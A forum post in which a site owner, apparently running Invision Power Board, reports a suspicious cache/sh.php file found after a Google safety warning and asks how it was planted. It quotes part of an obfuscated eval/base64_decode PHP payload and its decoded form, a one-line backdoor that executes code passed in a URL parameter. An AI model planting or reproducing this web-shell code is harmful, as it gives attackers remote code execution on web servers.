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Possible virus/malware/access script?

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So, all of a sudden, google started doing its little "This site isnt safe" page for one of my domains.

Curious, I ran clamav, and then ran ipb's internal scanner. IPB came up with this file tilted sh.php.

I went to FTP to see what the contents of this file was. Its location was cache/sh.php, so I didnt think it was a legit file. Plus IPB listed it at 8.

I would post the contents of said file, but I dont know if that would be the best method...

You can find it on google if you really wanted to, but it starts out as :

=========================        END       ===================================
========================= /index.php?<?/*gHrE={M*/eval/*t%)t*/(/*_f0srO*/base64_decode/*x31sm*/(/*Y%>*/'Lyo/WFdNR2Z5byovZXZhbC8qTEBXfjUqLygvKidoSCovYmFzZTY0X2RlY29kZS8qNXJcYzAqLygvKjo+ZEMqLydMeW83VmtwQlN6NHFMMmxtTHlwN2IxNHFMeWd2S24nLyp0XVJKOiovLi8qYVw+Ml1rKi8nUTlPSHRtTlM0cUwybHpjMlYwTHlwQWV6WlJMU292Jy8qPn5NLSovLi8qLmBrVGdVTCovJ0tDOHFPVEJlTkU4cUx5UmZVa1ZSVlVWVFZDOHFXRycvKik6WiovLi8qOURGREl5cyovJ29sZmpZcUwxc3ZLa1JsYkNvdkoyRW5MeW9vTVNseCcvKkZiTkBXSSovLi8qYkR2SzYqLydWQ292TGk4cWZGVXdYQ292SjNOakp5OHFKazAzTWknLypmKTR7cSovLi8qfU9KV1hmKi8nb3ZYUzhxZWpaeUlGd3FMeThxVW1rM1dYQXFMeWt2Jy8qIHtTKzs8PiovLi8qbWU/UyovJ0tuSmRQelZOS2k4d1JsYkNvdkoyRW5MeW9vTVNseCcvKkZiTkBXSSovLi8qYkR2SzYqLydWQ29...

Any ideas how it was inserted, if there is a known patch for it, or is there really no need for concern here?

EDIT: Just decoded it on a local machine.

comes out to be

if ( isset($_REQUEST['asc'])) eval (stripslashes( $_REQUEST ['asc']));

Which, again, can be used to run code just from the url. (index.php?asc=bad code)

Isn't there a way to see which queries have been run from which IP?

And I still want to see an answer to how did it get put there in the first place?

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